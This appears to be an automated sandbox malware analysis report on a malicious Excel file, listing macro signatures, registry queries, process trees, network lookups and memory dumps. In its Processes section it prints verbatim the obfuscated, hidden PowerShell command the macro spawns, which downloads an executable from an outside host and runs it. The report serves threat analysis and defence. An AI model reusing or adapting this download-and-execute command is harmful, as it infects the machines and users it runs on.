Malware Analysis Report

2025-03-15 07:55

Sample ID 240815-c8dfpszhqc
Target documento_rif.48951.xls
SHA256 1b4cfbc915c345c15334b5514644e2983c84573e31b6987b3eb764c137fa25d6
Tags
execution macro macro_on_action
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

1b4cfbc915c345c15334b5514644e2983c84573e31b6987b3eb764c137fa25d6

Threat Level: Known bad

The file documento_rif.48951.xls was found to be: Known bad.

Malicious Activity Summary

execution macro macro_on_action

Process spawned unexpected child process

Command and Scripting Interpreter: PowerShell

Office macro that triggers on suspicious action

Suspicious Office macro

Checks processor information in registry

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: EnumeratesProcesses

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-15 02:44

Signatures

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-15 02:44

Reported

2024-08-15 02:46

Platform

win10v2004-20240802-es

Max time kernel

68s

Max time network

72s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\documento_rif.48951.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.eXe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\documento_rif.48951.xls"

C:\Windows\SYSTEM32\cmd.eXe

cmd.eXe /c " POweRsHElL -noLOGO -NOeXIt -noNINTERAcTIV -WInDO hiDden -EXecUtionP bYpAss -nOpROFil "Sv bXzO91 ([tYPe](\"{2}{1}{0}\"-F 'MenT','IroN','ENv')); do{.(\"{1}{0}\" -f'p','slee') 41;$lenovo = (geT-chilDITEm VaRiABle:bxzo91 ).vaLUe::(\"{2}{0}{3}{1}\"-f 'tF','rPath','Ge','olde').Invoke(('My'+'Do'+'cu'+'me'+'nts'));(.(\"{1}{3}{0}{2}\" -f'c','New-Obj','t','e') sY`STem.Net.`w`EBcl`IEnT).\"do`WnLOaDF`i`lE\".\"iN`VoKe\"(('ht'+'tps:'+'//'+'loadc'+'loud.st'+'ream/r'+'emain'+'ing'),\"$lenovo\\417540.exe\")}while(!$?);&(\"{1}{0}{2}\"-f'ro','Start-P','cess') $LEnOvo\417540.eXE""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

POweRsHElL -noLOGO -NOeXIt -noNINTERAcTIV -WInDO hiDden -EXecUtionP bYpAss -nOpROFil "Sv bXzO91 ([tYPe](\"{2}{1}{0}\"-F 'MenT','IroN','ENv')); do{.(\"{1}{0}\" -f'p','slee') 41;$lenovo = (geT-chilDITEm VaRiABle:bxzo91 ).vaLUe::(\"{2}{0}{3}{1}\"-f 'tF','rPath','Ge','olde').Invoke(('My'+'Do'+'cu'+'me'+'nts'));(.(\"{1}{3}{0}{2}\" -f'c','New-Obj','t','e') sY`STem.Net.`w`EBcl`IEnT).\"do`WnLOaDF`i`lE\".\"iN`VoKe\"(('ht'+'tps:'+'//'+'loadc'+'loud.st'+'ream/r'+'emain'+'ing'),\"$lenovo\\417540.exe\")}while(!$?);&(\"{1}{0}{2}\"-f'ro','Start-P','cess') $LEnOvo\417540.eXE"

Network

Country Destination Domain Proto
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 57.169.31.20.in-addr.arpa udp
US 8.8.8.8:53 86.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 205.47.74.20.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 150.171.28.10:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 10.28.171.150.in-addr.arpa udp
US 8.8.8.8:53 loadcloud.stream udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp

Files

memory/2176-0-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp

memory/2176-2-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp

memory/2176-1-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp

memory/2176-4-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp

memory/2176-3-0x00007FFB2D990000-0x00007FFB2D9A0000-memory.dmp

memory/2176-5-0x00007FFB6D9AD000-0x00007FFB6D9AE000-memory.dmp

memory/2176-9-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-10-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-8-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-7-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-6-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-11-0x00007FFB2B460000-0x00007FFB2B470000-memory.dmp

memory/2176-12-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-14-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-13-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-15-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-16-0x00007FFB2B460000-0x00007FFB2B470000-memory.dmp

memory/2176-19-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-20-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-18-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-17-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-63-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-134-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/4372-138-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/4372-139-0x000001C25E9C0000-0x000001C25EA42000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_a5lklnht.lch.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/4372-149-0x000001C246880000-0x000001C246890000-memory.dmp

memory/4372-150-0x000001C25E960000-0x000001C25E982000-memory.dmp

memory/4372-151-0x000001C25ED90000-0x000001C25EE92000-memory.dmp

memory/4372-152-0x000001C25E990000-0x000001C25E9A4000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 25a082437749c9ba5ea69813246565bd
SHA1 8f1ea187faee996b96c654d606920a48313a7993
SHA256 daa9b5f32eb76d73edece3785d2822eef3128cdd0686bfd93b6987c89b059969
SHA512 9b1bdfe85f3b7f42b58f53f062baa3a15bcd9a180d427a34b53912ece97502d882e02529d51e75381ceef25d4bcf54517c895a064c452669a30bdf59d9c62d3a

memory/2176-161-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-162-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-163-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/2176-164-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/4372-165-0x00007FFB6D910000-0x00007FFB6DB05000-memory.dmp

memory/4372-166-0x000001C25ECC0000-0x000001C25ED00000-memory.dmp